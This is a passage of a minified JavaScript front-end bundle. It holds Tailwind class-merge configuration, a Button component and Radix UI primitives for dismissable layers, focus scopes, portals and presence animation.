gradient-from":[{from:V()}],"gradient-via":[{via:V()}],"gradient-to":[{to:V()}],rounded:[{rounded:q()}],"rounded-s":[{"rounded-s":q()}],"rounded-e":[{"rounded-e":q()}],"rounded-t":[{"rounded-t":q()}],"rounded-r":[{"rounded-r":q()}],"rounded-b":[{"rounded-b":q()}],"rounded-l":[{"rounded-l":q()}],"rounded-ss":[{"rounded-ss":q()}],"rounded-se":[{"rounded-se":q()}],"rounded-ee":[{"rounded-ee":q()}],"rounded-es":[{"rounded-es":q()}],"rounded-tl":[{"rounded-tl":q()}],"rounded-tr":[{"rounded-tr":q()}],"rounded-br":[{"rounded-br":q()}],"rounded-bl":[{"rounded-bl":q()}],"border-w":[{border:Y()}],"border-w-x":[{"border-x":Y()}],"border-w-y":[{"border-y":Y()}],"border-w-s":[{"border-s":Y()}],"border-w-e":[{"border-e":Y()}],"border-w-t":[{"border-t":Y()}],"border-w-r":[{"border-r":Y()}],"border-w-b":[{"border-b":Y()}],"border-w-l":[{"border-l":Y()}],"divide-x":[{"divide-x":Y()}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":Y()}],"divide-y-reverse":["divide-y-reverse"],"border-style":[{border:[...me(),"hidden","none"]}],"divide-style":[{divide:[...me(),"hidden","none"]}],"border-color":[{border:V()}],"border-color-x":[{"border-x":V()}],"border-color-y":[{"border-y":V()}],"border-color-s":[{"border-s":V()}],"border-color-e":[{"border-e":V()}],"border-color-t":[{"border-t":V()}],"border-color-r":[{"border-r":V()}],"border-color-b":[{"border-b":V()}],"border-color-l":[{"border-l":V()}],"divide-color":[{divide:V()}],"outline-style":[{outline:[...me(),"none","hidden"]}],"outline-offset":[{"outline-offset":[ut,Ve,ze]}],"outline-w":[{outline:["",ut,Ic,Ii]}],"outline-color":[{outline:V()}],shadow:[{shadow:["","none",p,wf,bf]}],"shadow-color":[{shadow:V()}],"inset-shadow":[{"inset-shadow":["none",x,wf,bf]}],"inset-shadow-color":[{"inset-shadow":V()}],"ring-w":[{ring:Y()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:V()}],"ring-offset-w":[{"ring-offset":[ut,Ii]}],"ring-offset-color":[{"ring-offset":V()}],"inset-ring-w":[{"inset-ring":Y()}],"inset-ring-color":[{"inset-ring":V()}],"text-shadow":[{"text-shadow":["none",g,wf,bf]}],"text-shadow-color":[{"text-shadow":V()}],opacity:[{opacity:[ut,Ve,ze]}],"mix-blend":[{"mix-blend":[...we(),"plus-darker","plus-lighter"]}],"bg-blend":[{"bg-blend":we()}],"mask-clip":[{"mask-clip":["border","padding","content","fill","stroke","view"]},"mask-no-clip"],"mask-composite":[{mask:["add","subtract","intersect","exclude"]}],"mask-image-linear-pos":[{"mask-linear":[ut]}],"mask-image-linear-from-pos":[{"mask-linear-from":fe()}],"mask-image-linear-to-pos":[{"mask-linear-to":fe()}],"mask-image-linear-from-color":[{"mask-linear-from":V()}],"mask-image-linear-to-color":[{"mask-linear-to":V()}],"mask-image-t-from-pos":[{"mask-t-from":fe()}],"mask-image-t-to-pos":[{"mask-t-to":fe()}],"mask-image-t-from-color":[{"mask-t-from":V()}],"mask-image-t-to-color":[{"mask-t-to":V()}],"mask-image-r-from-pos":[{"mask-r-from":fe()}],"mask-image-r-to-pos":[{"mask-r-to":fe()}],"mask-image-r-from-color":[{"mask-r-from":V()}],"mask-image-r-to-color":[{"mask-r-to":V()}],"mask-image-b-from-pos":[{"mask-b-from":fe()}],"mask-image-b-to-pos":[{"mask-b-to":fe()}],"mask-image-b-from-color":[{"mask-b-from":V()}],"mask-image-b-to-color":[{"mask-b-to":V()}],"mask-image-l-from-pos":[{"mask-l-from":fe()}],"mask-image-l-to-pos":[{"mask-l-to":fe()}],"mask-image-l-from-color":[{"mask-l-from":V()}],"mask-image-l-to-color":[{"mask-l-to":V()}],"mask-image-x-from-pos":[{"mask-x-from":fe()}],"mask-image-x-to-pos":[{"mask-x-to":fe()}],"mask-image-x-from-color":[{"mask-x-from":V()}],"mask-image-x-to-color":[{"mask-x-to":V()}],"mask-image-y-from-pos":[{"mask-y-from":fe()}],"mask-image-y-to-pos":[{"mask-y-to":fe()}],"mask-image-y-from-color":[{"mask-y-from":V()}],"mask-image-y-to-color":[{"mask-y-to":V()}],"mask-image-radial":[{"mask-radial":[Ve,ze]}],"mask-image-radial-from-pos":[{"mask-radial-from":fe()}],"mask-image-radial-to-pos":[{"mask-radial-to":fe()}],"mask-image-radial-from-color":[{"mask-radial-from":V()}],"mask-image-radial-to-color":[{"mask-radial-to":V()}],"mask-image-radial-shape":[{"mask-radial":["circle","ellipse"]}],"mask-image-radial-size":[{"mask-radial":[{closest:["side","corner"],farthest:["side","corner"]}]}],"mask-image-radial-pos":[{"mask-radial-at":j()}],"mask-image-conic-pos":[{"mask-conic":[ut]}],"mask-image-conic-from-pos":[{"mask-conic-from":fe()}],"mask-image-conic-to-pos":[{"mask-conic-to":fe()}],"mask-image-conic-from-color":[{"mask-conic-from":V()}],"mask-image-conic-to-color":[{"mask-conic-to":V()}],"mask-mode":[{mask:["alpha","luminance","match"]}],"mask-origin":[{"mask-origin":["border","padding","content","fill","stroke","view"]}],"mask-position":[{mask:Z()}],"mask-repeat":[{mask:ce()}],"mask-size":[{mask:F()}],"mask-type":[{"mask-type":["alpha","luminance"]}],"mask-image":[{mask:["none",Ve,ze]}],filter:[{filter:["","none",Ve,ze]}],blur:[{blur:ye()}],brightness:[{brightness:[ut,Ve,ze]}],contrast:[{contrast:[ut,Ve,ze]}],"drop-shadow":[{"drop-shadow":["","none",y,wf,bf]}],"drop-shadow-color":[{"drop-shadow":V()}],grayscale:[{grayscale:["",ut,Ve,ze]}],"hue-rotate":[{"hue-rotate":[ut,Ve,ze]}],invert:[{invert:["",ut,Ve,ze]}],saturate:[{saturate:[ut,Ve,ze]}],sepia:[{sepia:["",ut,Ve,ze]}],"backdrop-filter":[{"backdrop-filter":["","none",Ve,ze]}],"backdrop-blur":[{"backdrop-blur":ye()}],"backdrop-brightness":[{"backdrop-brightness":[ut,Ve,ze]}],"backdrop-contrast":[{"backdrop-contrast":[ut,Ve,ze]}],"backdrop-grayscale":[{"backdrop-grayscale":["",ut,Ve,ze]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[ut,Ve,ze]}],"backdrop-invert":[{"backdrop-invert":["",ut,Ve,ze]}],"backdrop-opacity":[{"backdrop-opacity":[ut,Ve,ze]}],"backdrop-saturate":[{"backdrop-saturate":[ut,Ve,ze]}],"backdrop-sepia":[{"backdrop-sepia":["",ut,Ve,ze]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":B()}],"border-spacing-x":[{"border-spacing-x":B()}],"border-spacing-y":[{"border-spacing-y":B()}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["","all","colors","opacity","shadow","transform","none",Ve,ze]}],"transition-behavior":[{transition:["normal","discrete"]}],duration:[{duration:[ut,"initial",Ve,ze]}],ease:[{ease:["linear","initial",T,Ve,ze]}],delay:[{delay:[ut,Ve,ze]}],animate:[{animate:["none",E,Ve,ze]}],backface:[{backface:["hidden","visible"]}],perspective:[{perspective:[S,Ve,ze]}],"perspective-origin":[{"perspective-origin":R()}],rotate:[{rotate:Oe()}],"rotate-x":[{"rotate-x":Oe()}],"rotate-y":[{"rotate-y":Oe()}],"rotate-z":[{"rotate-z":Oe()}],scale:[{scale:ke()}],"scale-x":[{"scale-x":ke()}],"scale-y":[{"scale-y":ke()}],"scale-z":[{"scale-z":ke()}],"scale-3d":["scale-3d"],skew:[{skew:$e()}],"skew-x":[{"skew-x":$e()}],"skew-y":[{"skew-y":$e()}],transform:[{transform:[Ve,ze,"","none","gpu","cpu"]}],"transform-origin":[{origin:R()}],"transform-style":[{transform:["3d","flat"]}],translate:[{translate:Xe()}],"translate-x":[{"translate-x":Xe()}],"translate-y":[{"translate-y":Xe()}],"translate-z":[{"translate-z":Xe()}],"translate-none":["translate-none"],accent:[{accent:V()}],appearance:[{appearance:["none","auto"]}],"caret-color":[{caret:V()}],"color-scheme":[{scheme:["normal","dark","light","light-dark","only-dark","only-light"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",Ve,ze]}],"field-sizing":[{"field-sizing":["fixed","content"]}],"pointer-events":[{"pointer-events":["auto","none"]}],resize:[{resize:["none","","y","x"]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":B()}],"scroll-mx":[{"scroll-mx":B()}],"scroll-my":[{"scroll-my":B()}],"scroll-ms":[{"scroll-ms":B()}],"scroll-me":[{"scroll-me":B()}],"scroll-mt":[{"scroll-mt":B()}],"scroll-mr":[{"scroll-mr":B()}],"scroll-mb":[{"scroll-mb":B()}],"scroll-ml":[{"scroll-ml":B()}],"scroll-p":[{"scroll-p":B()}],"scroll-px":[{"scroll-px":B()}],"scroll-py":[{"scroll-py":B()}],"scroll-ps":[{"scroll-ps":B()}],"scroll-pe":[{"scroll-pe":B()}],"scroll-pt":[{"scroll-pt":B()}],"scroll-pr":[{"scroll-pr":B()}],"scroll-pb":[{"scroll-pb":B()}],"scroll-pl":[{"scroll-pl":B()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",Ve,ze]}],fill:[{fill:["none",...V()]}],"stroke-w":[{stroke:[ut,Ic,Ii,Sx]}],stroke:[{stroke:["none",...V()]}],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-x","border-w-y","border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-x","border-color-y","border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],translate:["translate-x","translate-y","translate-none"],"translate-none":["translate","translate-x","translate-y","translate-z"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]},orderSensitiveModifiers:["*","**","after","backdrop","before","details-content","file","first-letter","first-line","marker","placeholder","selection"]}},JF=BF(ZF);function je(...e){return JF(bj(e))}const eO=Ou("inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-destructive-foreground hover:bg-destructive/90",outline:"border border-input bg-background hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-10 px-4 py-2",sm:"h-9 rounded-md px-3",lg:"h-11 rounded-md px-8",icon:"h-10 w-10"}},defaultVariants:{variant:"default",size:"default"}}),De=C.forwardRef(({className:e,variant:t,size:n,asChild:s=!1,...i},c)=>o.jsx("button",{className:je(eO({variant:t,size:n,className:e})),ref:c,...i}));De.displayName="Button";function at(e,t,{checkForDefaultPrevented:n=!0}={}){return function(i){if(e?.(i),n===!1||!i.defaultPrevented)return t?.(i)}}function k4(e,t){if(typeof e=="function")return e(t);e!=null&&(e.current=t)}function _j(...e){return t=>{let n=!1;const s=e.map(i=>{const c=k4(i,t);return!n&&typeof c=="function"&&(n=!0),c});if(n)return()=>{for(let i=0;i<s.length;i++){const c=s[i];typeof c=="function"?c():k4(e[i],null)}}}}function Mt(...e){return C.useCallback(_j(...e),e)}function tO(e,t){const n=C.createContext(t),s=c=>{const{children:u,...d}=c,m=C.useMemo(()=>d,Object.values(d));return o.jsx(n.Provider,{value:m,children:u})};s.displayName=e+"Provider";function i(c){const u=C.useContext(n);if(u)return u;if(t!==void 0)return t;throw new Error(`\`${c}\` must be used within \`${e}\``)}return[s,i]}function Dr(e,t=[]){let n=[];function s(c,u){const d=C.createContext(u),m=n.length;n=[...n,u];const h=x=>{const{scope:g,children:y,...w}=x,S=g?.[e]?.[m]||d,N=C.useMemo(()=>w,Object.values(w));return o.jsx(S.Provider,{value:N,children:y})};h.displayName=c+"Provider";function p(x,g){const y=g?.[e]?.[m]||d,w=C.useContext(y);if(w)return w;if(u!==void 0)return u;throw new Error(`\`${x}\` must be used within \`${c}\``)}return[h,p]}const i=()=>{const c=n.map(u=>C.createContext(u));return function(d){const m=d?.[e]||c;return C.useMemo(()=>({[`__scope${e}`]:{...d,[e]:m}}),[d,m])}};return i.scopeName=e,[s,nO(i,...t)]}function nO(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const s=e.map(i=>({useScope:i(),scopeName:i.scopeName}));return function(c){const u=s.reduce((d,{useScope:m,scopeName:h})=>{const x=m(c)[`__scope${h}`];return{...d,...x}},{});return C.useMemo(()=>({[`__scope${t.scopeName}`]:u}),[u])}};return n.scopeName=t.scopeName,n}var ea=globalThis?.document?C.useLayoutEffect:()=>{},aO=aE[" useId ".trim().toString()]||(()=>{}),sO=0;function Nr(e){const[t,n]=C.useState(aO());return ea(()=>{n(s=>s??String(sO++))},[e]),t?`radix-${t}`:""}var rO=aE[" useInsertionEffect ".trim().toString()]||ea;function di({prop:e,defaultProp:t,onChange:n=()=>{},caller:s}){const[i,c,u]=iO({defaultProp:t,onChange:n}),d=e!==void 0,m=d?e:i;{const p=C.useRef(e!==void 0);C.useEffect(()=>{const x=p.current;x!==d&&console.warn(`${s} is changing from ${x?"controlled":"uncontrolled"} to ${d?"controlled":"uncontrolled"}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),p.current=d},[d,s])}const h=C.useCallback(p=>{if(d){const x=oO(p)?p(e):p;x!==e&&u.current?.(x)}else c(p)},[d,e,c,u]);return[m,h]}function iO({defaultProp:e,onChange:t}){const[n,s]=C.useState(e),i=C.useRef(n),c=C.useRef(t);return rO(()=>{c.current=t},[t]),C.useEffect(()=>{i.current!==n&&(c.current?.(n),i.current=n)},[n,i]),[n,s,c]}function oO(e){return typeof e=="function"}function pu(e){const t=lO(e),n=C.forwardRef((s,i)=>{const{children:c,...u}=s,d=C.Children.toArray(c),m=d.find(uO);if(m){const h=m.props.children,p=d.map(x=>x===m?C.Children.count(h)>1?C.Children.only(null):C.isValidElement(h)?h.props.children:null:x);return o.jsx(t,{...u,ref:i,children:C.isValidElement(h)?C.cloneElement(h,void 0,p):null})}return o.jsx(t,{...u,ref:i,children:c})});return n.displayName=`${e}.Slot`,n}function lO(e){const t=C.forwardRef((n,s)=>{const{children:i,...c}=n;if(C.isValidElement(i)){const u=fO(i),d=dO(c,i.props);return i.type!==C.Fragment&&(d.ref=s?_j(s,u):u),C.cloneElement(i,d)}return C.Children.count(i)>1?C.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var kj=Symbol("radix.slottable");function cO(e){const t=({children:n})=>o.jsx(o.Fragment,{children:n});return t.displayName=`${e}.Slottable`,t.__radixId=kj,t}function uO(e){return C.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===kj}function dO(e,t){const n={...t};for(const s in t){const i=e[s],c=t[s];/^on[A-Z]/.test(s)?i&&c?n[s]=(...d)=>{const m=c(...d);return i(...d),m}:i&&(n[s]=i):s==="style"?n[s]={...i,...c}:s==="className"&&(n[s]=[i,c].filter(Boolean).join(" "))}return{...e,...n}}function fO(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var hO=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],dt=hO.reduce((e,t)=>{const n=pu(`Primitive.${t}`),s=C.forwardRef((i,c)=>{const{asChild:u,...d}=i,m=u?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),o.jsx(m,{...d,ref:c})});return s.displayName=`Primitive.${t}`,{...e,[t]:s}},{});function mO(e,t){e&&Ll.flushSync(()=>e.dispatchEvent(t))}function fi(e){const t=C.useRef(e);return C.useEffect(()=>{t.current=e}),C.useMemo(()=>(...n)=>t.current?.(...n),[])}function pO(e,t=globalThis?.document){const n=fi(e);C.useEffect(()=>{const s=i=>{i.key==="Escape"&&n(i)};return t.addEventListener("keydown",s,{capture:!0}),()=>t.removeEventListener("keydown",s,{capture:!0})},[n,t])}var xO="DismissableLayer",Dg="dismissableLayer.update",gO="dismissableLayer.pointerDownOutside",vO="dismissableLayer.focusOutside",B4,Bj=C.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Ch=C.forwardRef((e,t)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:s,onPointerDownOutside:i,onFocusOutside:c,onInteractOutside:u,onDismiss:d,...m}=e,h=C.useContext(Bj),[p,x]=C.useState(null),g=p?.ownerDocument??globalThis?.document,[,y]=C.useState({}),w=Mt(t,k=>x(k)),S=Array.from(h.layers),[N]=[...h.layersWithOutsidePointerEventsDisabled].slice(-1),T=S.indexOf(N),E=p?S.indexOf(p):-1,A=h.layersWithOutsidePointerEventsDisabled.size>0,j=E>=T,R=wO(k=>{const B=k.target,I=[...h.branches].some(z=>z.contains(B));!j||I||(i?.(k),u?.(k),k.defaultPrevented||d?.())},g),D=CO(k=>{const B=k.target;[...h.branches].some(z=>z.contains(B))||(c?.(k),u?.(k),k.defaultPrevented||d?.())},g);return pO(k=>{E===h.layers.size-1&&(s?.(k),!k.defaultPrevented&&d&&(k.preventDefault(),d()))},g),C.useEffect(()=>{if(p)return n&&(h.layersWithOutsidePointerEventsDisabled.size===0&&(B4=g.body.style.pointerEvents,g.body.style.pointerEvents="none"),h.layersWithOutsidePointerEventsDisabled.add(p)),h.layers.add(p),M4(),()=>{n&&h.layersWithOutsidePointerEventsDisabled.size===1&&(g.body.style.pointerEvents=B4)}},[p,g,n,h]),C.useEffect(()=>()=>{p&&(h.layers.delete(p),h.layersWithOutsidePointerEventsDisabled.delete(p),M4())},[p,h]),C.useEffect(()=>{const k=()=>y({});return document.addEventListener(Dg,k),()=>document.removeEventListener(Dg,k)},[]),o.jsx(dt.div,{...m,ref:w,style:{pointerEvents:A?j?"auto":"none":void 0,...e.style},onFocusCapture:at(e.onFocusCapture,D.onFocusCapture),onBlurCapture:at(e.onBlurCapture,D.onBlurCapture),onPointerDownCapture:at(e.onPointerDownCapture,R.onPointerDownCapture)})});Ch.displayName=xO;var yO="DismissableLayerBranch",bO=C.forwardRef((e,t)=>{const n=C.useContext(Bj),s=C.useRef(null),i=Mt(t,s);return C.useEffect(()=>{const c=s.current;if(c)return n.branches.add(c),()=>{n.branches.delete(c)}},[n.branches]),o.jsx(dt.div,{...e,ref:i})});bO.displayName=yO;function wO(e,t=globalThis?.document){const n=fi(e),s=C.useRef(!1),i=C.useRef(()=>{});return C.useEffect(()=>{const c=d=>{if(d.target&&!s.current){let m=function(){Mj(gO,n,h,{discrete:!0})};const h={originalEvent:d};d.pointerType==="touch"?(t.removeEventListener("click",i.current),i.current=m,t.addEventListener("click",i.current,{once:!0})):m()}else t.removeEventListener("click",i.current);s.current=!1},u=window.setTimeout(()=>{t.addEventListener("pointerdown",c)},0);return()=>{window.clearTimeout(u),t.removeEventListener("pointerdown",c),t.removeEventListener("click",i.current)}},[t,n]),{onPointerDownCapture:()=>s.current=!0}}function CO(e,t=globalThis?.document){const n=fi(e),s=C.useRef(!1);return C.useEffect(()=>{const i=c=>{c.target&&!s.current&&Mj(vO,n,{originalEvent:c},{discrete:!1})};return t.addEventListener("focusin",i),()=>t.removeEventListener("focusin",i)},[t,n]),{onFocusCapture:()=>s.current=!0,onBlurCapture:()=>s.current=!1}}function M4(){const e=new CustomEvent(Dg);document.dispatchEvent(e)}function Mj(e,t,n,{discrete:s}){const i=n.originalEvent.target,c=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:n});t&&i.addEventListener(e,t,{once:!0}),s?mO(i,c):i.dispatchEvent(c)}var Nx="focusScope.autoFocusOnMount",Ex="focusScope.autoFocusOnUnmount",F4={bubbles:!1,cancelable:!0},SO="FocusScope",qv=C.forwardRef((e,t)=>{const{loop:n=!1,trapped:s=!1,onMountAutoFocus:i,onUnmountAutoFocus:c,...u}=e,[d,m]=C.useState(null),h=fi(i),p=fi(c),x=C.useRef(null),g=Mt(t,S=>m(S)),y=C.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;C.useEffect(()=>{if(s){let S=function(A){if(y.paused||!d)return;const j=A.target;d.contains(j)?x.current=j:ti(x.current,{select:!0})},N=function(A){if(y.paused||!d)return;const j=A.relatedTarget;j!==null&&(d.contains(j)||ti(x.current,{select:!0}))},T=function(A){if(document.activeElement===document.body)for(const R of A)R.removedNodes.length>0&&ti(d)};document.addEventListener("focusin",S),document.addEventListener("focusout",N);const E=new MutationObserver(T);return d&&E.observe(d,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",S),document.removeEventListener("focusout",N),E.disconnect()}}},[s,d,y.paused]),C.useEffect(()=>{if(d){L4.add(y);const S=document.activeElement;if(!d.contains(S)){const T=new CustomEvent(Nx,F4);d.addEventListener(Nx,h),d.dispatchEvent(T),T.defaultPrevented||(NO(DO(Fj(d)),{select:!0}),document.activeElement===S&&ti(d))}return()=>{d.removeEventListener(Nx,h),setTimeout(()=>{const T=new CustomEvent(Ex,F4);d.addEventListener(Ex,p),d.dispatchEvent(T),T.defaultPrevented||ti(S??document.body,{select:!0}),d.removeEventListener(Ex,p),L4.remove(y)},0)}}},[d,h,p,y]);const w=C.useCallback(S=>{if(!n&&!s||y.paused)return;const N=S.key==="Tab"&&!S.altKey&&!S.ctrlKey&&!S.metaKey,T=document.activeElement;if(N&&T){const E=S.currentTarget,[A,j]=EO(E);A&&j?!S.shiftKey&&T===j?(S.preventDefault(),n&&ti(A,{select:!0})):S.shiftKey&&T===A&&(S.preventDefault(),n&&ti(j,{select:!0})):T===E&&S.preventDefault()}},[n,s,y.paused]);return o.jsx(dt.div,{tabIndex:-1,...u,ref:g,onKeyDown:w})});qv.displayName=SO;function NO(e,{select:t=!1}={}){const n=document.activeElement;for(const s of e)if(ti(s,{select:t}),document.activeElement!==n)return}function EO(e){const t=Fj(e),n=O4(t,e),s=O4(t.reverse(),e);return[n,s]}function Fj(e){const t=[],n=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:s=>{const i=s.tagName==="INPUT"&&s.type==="hidden";return s.disabled||s.hidden||i?NodeFilter.FILTER_SKIP:s.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)t.push(n.currentNode);return t}function O4(e,t){for(const n of e)if(!jO(n,{upTo:t}))return n}function jO(e,{upTo:t}){if(getComputedStyle(e).visibility==="hidden")return!0;for(;e;){if(t!==void 0&&e===t)return!1;if(getComputedStyle(e).display==="none")return!0;e=e.parentElement}return!1}function AO(e){return e instanceof HTMLInputElement&&"select"in e}function ti(e,{select:t=!1}={}){if(e&&e.focus){const n=document.activeElement;e.focus({preventScroll:!0}),e!==n&&AO(e)&&t&&e.select()}}var L4=TO();function TO(){let e=[];return{add(t){const n=e[0];t!==n&&n?.pause(),e=P4(e,t),e.unshift(t)},remove(t){e=P4(e,t),e[0]?.resume()}}}function P4(e,t){const n=[...e],s=n.indexOf(t);return s!==-1&&n.splice(s,1),n}function DO(e){return e.filter(t=>t.tagName!=="A")}var RO="Portal",$v=C.forwardRef((e,t)=>{const{container:n,...s}=e,[i,c]=C.useState(!1);ea(()=>c(!0),[]);const u=n||i&&globalThis?.document?.body;return u?RE.createPortal(o.jsx(dt.div,{...s,ref:t}),u):null});$v.displayName=RO;function _O(e,t){return C.useReducer((n,s)=>t[n][s]??n,e)}var vo=e=>{const{present:t,children:n}=e,s=kO(t),i=typeof n=="function"?n({present:s.isPresent}):C.Children.only(n),c=Mt(s.ref,BO(i));return typeof n=="function"||s.isPresent?C.cloneElement(i,{ref:c}):null};vo.displayName="Presence";function kO(e){const[t,n]=C.useState(),s=C.useRef(null),i=C.useRef(e),c=C.useRef("none"),u=e?"mounted":"unmounted",[d,m]=_O(u,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return C.useEffect(()=>{const h=Cf(s.current);c.current=d==="mounted"?h:"none"},[d]),ea(()=>{const h=s.current,p=i.current;if(p!==e){const g=c.current,y=Cf(h);e?m("MOUNT"):y==="none"||h?.display==="none"?m("UNMOUNT"):m(p&&g!==y?"ANIMATION_OUT":"UNMOUNT"),i.current=e}},[e,m]),ea(()=>{if(t){let h;const p=t.ownerDocument.defaultView??window,x=y=>{const S=Cf(s.current).includes(CSS.escape(y.animationName));if(y.target===t&&S&&(m("ANIMATION_END"),!i.current)){const N=t.style.animationFillMode;t.style.animationFillMode="forwards",h=p.setTimeout(()=>{t.style.animationFillMode==="forwards"&&(t.style.animationFillMode=N)})}},g=y=>{y.target===t&&(c.current=Cf(s.current))};return t.addEventListener("animationstart",g),t.addEventListener("animationcancel",x),t.addEventListener("animationend",x),()=>{p.clearTimeout(h),t.removeEventListener("animationstart",g),t.removeEventListener("animationcancel",x),t.removeEventListener("animationend",x)}}else m("ANIMATION_END")},[t,m]),{isPresent:["mounted","unmountSuspended"].includes(d),ref:C.useCallback(h=>{s.current=h?getComputedStyle(h):null,n(h)},[])}}function Cf(e){return e?.animationName||"none"}function BO(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var jx=0;function Oj(){C.useEffect(()=>{const e=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",e[0]??z4()),document.body.insertAdjacentElement("beforeend",e[1]??z4()),jx++,()=>{jx===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(t=>t.remove()),jx--}},[])}function z4(){const e=document.createElement("span");return e.setAttribute("data-radix-focus-guard",""),e.tabIndex=0,e.style.outline="none",e.style.opacity="0",e.style.position="fixed",e.style.pointerEvents="none",e}var Ls=function(){return Ls=Object.assign||function(t){for(var n,s=1,i=arguments.length;s<i;s++){n=arguments[s];for(var c in n)Object.prototype.hasOwnProperty.call(n,c)&&(t[c]=n[c])}return t},Ls.apply(this,arguments)};function Lj(e,t){var n={};for(var s in e)Object.prototype.hasOwnProperty.call(e,s)&&t.indexOf(s)<0&&(n[s]=e[s]);if(e!=null&&typeof Object.getOwnPropertySymbols=="function")for(var i=0,s=Object.getOwnPropertySymbols(e);i<s.length;i++)t.indexOf(s[i])<0&&Object.prototype.propertyIsEnumerable.call(e,s[i])&&(n[s[i]]=e[s[i]]);return n}function MO(e,t,n){if(n||arguments.length===2)for(var 